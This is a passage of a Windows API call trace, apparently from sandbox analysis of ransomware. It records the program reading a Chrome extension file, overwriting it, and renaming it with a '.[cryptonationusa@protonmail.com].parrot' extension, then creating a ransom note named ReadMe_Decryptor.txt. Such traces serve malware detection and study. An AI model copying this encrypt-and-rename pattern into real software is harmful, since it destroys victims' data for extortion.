nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0075.130] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83580a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba0dcea0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba0dcea0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0075.130] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8358f470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba0dcea0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba0dcea0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt", cAlternateFileName="")) returned 1 [0075.130] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835969a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba103000, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba103000, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0075.130] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835990b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba129160, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba129160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1 [0075.130] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835aa220, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba129160, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba129160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0075.130] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835b6570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba14f2c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba14f2c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0075.130] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835c01b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba14f2c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba14f2c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0075.130] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835c4fd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba175420, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba175420, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0075.130] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835cec10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba1e7840, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba1e7840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1 [0075.130] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835daf60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba20d9a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba20d9a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0075.130] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835dd670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba20d9a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba20d9a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sw", cAlternateFileName="")) returned 1 [0075.130] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835e4ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba233b00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba233b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ta", cAlternateFileName="")) returned 1 [0075.130] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835ec0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba2a5f20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba2a5f20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="te", cAlternateFileName="")) returned 1 [0075.130] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835f5d10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba2cc080, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba2cc080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0075.130] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835fd240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba2cc080, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba2cc080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0075.130] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8360bca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba2f21e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba2f21e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0075.130] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x836158e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba318340, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba318340, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0075.130] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8361ce10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba364600, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba364600, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh", cAlternateFileName="")) returned 1 [0075.130] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83624340, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba38a760, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba38a760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0075.130] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83624340, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba38a760, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba38a760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0 [0075.130] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669250 | out: hHeap=0x5b0000) returned 1 [0075.130] FindClose (in: hFindFile=0x600610 | out: hFindFile=0x600610) returned 1 [0075.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9148 | out: hHeap=0x5b0000) returned 1 [0075.131] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x836ddc00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839fe880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839fe880, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 1 [0075.131] lstrcmpW (lpString1="_metadata", lpString2=".") returned 1 [0075.131] lstrcmpW (lpString1="_metadata", lpString2="..") returned 1 [0075.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0075.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5d9148 [0075.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x6a69f0 [0075.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9148 | out: hHeap=0x5b0000) returned 1 [0075.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x692268 | out: hHeap=0x5b0000) returned 1 [0075.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0075.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x669250 [0075.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5cfd40 [0075.131] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0075.132] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x836ddc00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839fe880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839fe880, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.132] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.132] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.132] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x839fe880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839fe880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839fe880, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x7299, dwReserved0=0x0, dwReserved1=0x0, cFileName="computed_hashes.json", cAlternateFileName="COMPUT~1.JSO")) returned 1 [0075.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0075.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0075.132] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x73b1, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.132] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0075.132] ReadFile (in: hFile=0x28c, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0075.134] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.134] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7299, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0x7299, lpOverlapped=0x0) returned 1 [0075.135] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0075.135] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.135] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0075.135] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0075.135] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0075.135] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x6a7fe8 [0075.136] GetLastError () returned 0x0 [0075.138] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0075.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0075.138] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0075.138] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0075.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0075.138] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0075.138] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0075.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0075.138] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0075.138] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0075.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0075.138] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0075.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0075.138] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0075.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0075.138] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0075.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0075.138] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0075.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0075.138] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0075.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0075.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0075.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0075.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0075.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176070 [0075.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0075.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5cff58 [0075.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176070 | out: hHeap=0x5b0000) returned 1 [0075.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x5d0140 [0075.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cff58 | out: hHeap=0x5b0000) returned 1 [0075.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6a7fe8 [0075.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0140 | out: hHeap=0x5b0000) returned 1 [0075.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5cff58 [0075.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7fe8 | out: hHeap=0x5b0000) returned 1 [0075.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x6a7fe8 [0075.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cff58 | out: hHeap=0x5b0000) returned 1 [0075.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x6a8950 [0075.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7fe8 | out: hHeap=0x5b0000) returned 1 [0075.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x6a9768 [0075.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8950 | out: hHeap=0x5b0000) returned 1 [0075.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x6aaca8 [0075.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9768 | out: hHeap=0x5b0000) returned 1 [0075.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x6acc70 [0075.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aaca8 | out: hHeap=0x5b0000) returned 1 [0075.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x6a7fe8 [0075.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6acc70 | out: hHeap=0x5b0000) returned 1 [0075.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x3178058 [0075.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7fe8 | out: hHeap=0x5b0000) returned 1 [0075.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x31920a0 [0075.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178058 | out: hHeap=0x5b0000) returned 1 [0075.140] WriteFile (in: hFile=0x28c, lpBuffer=0x31920c0*, nNumberOfBytesToWrite=0x73b8, lpNumberOfBytesWritten=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x31920c0*, lpNumberOfBytesWritten=0x18dd34*=0x73b8, lpOverlapped=0x0) returned 1 [0075.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31920a0 | out: hHeap=0x5b0000) returned 1 [0075.141] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x73b1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.141] CloseHandle (hObject=0x28c) returned 1 [0075.144] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x150) returned 0x5cce70 [0075.144] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f6) returned 0x5cff58 [0075.145] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce70 | out: hHeap=0x5b0000) returned 1 [0075.145] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\computed_hashes.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\computed_hashes.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\computed_hashes.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0075.145] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cff58 | out: hHeap=0x5b0000) returned 1 [0075.146] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3189a80 | out: hHeap=0x5b0000) returned 1 [0075.146] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a060 | out: hHeap=0x5b0000) returned 1 [0075.146] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x669388 [0075.146] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x150) returned 0x5cce70 [0075.146] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0075.146] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0075.146] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18db28, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0075.148] GetFileType (hFile=0x28c) returned 0x1 [0075.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x6a7fe8 [0075.178] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3f51, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.178] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0075.178] ReadFile (in: hFile=0x28c, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, 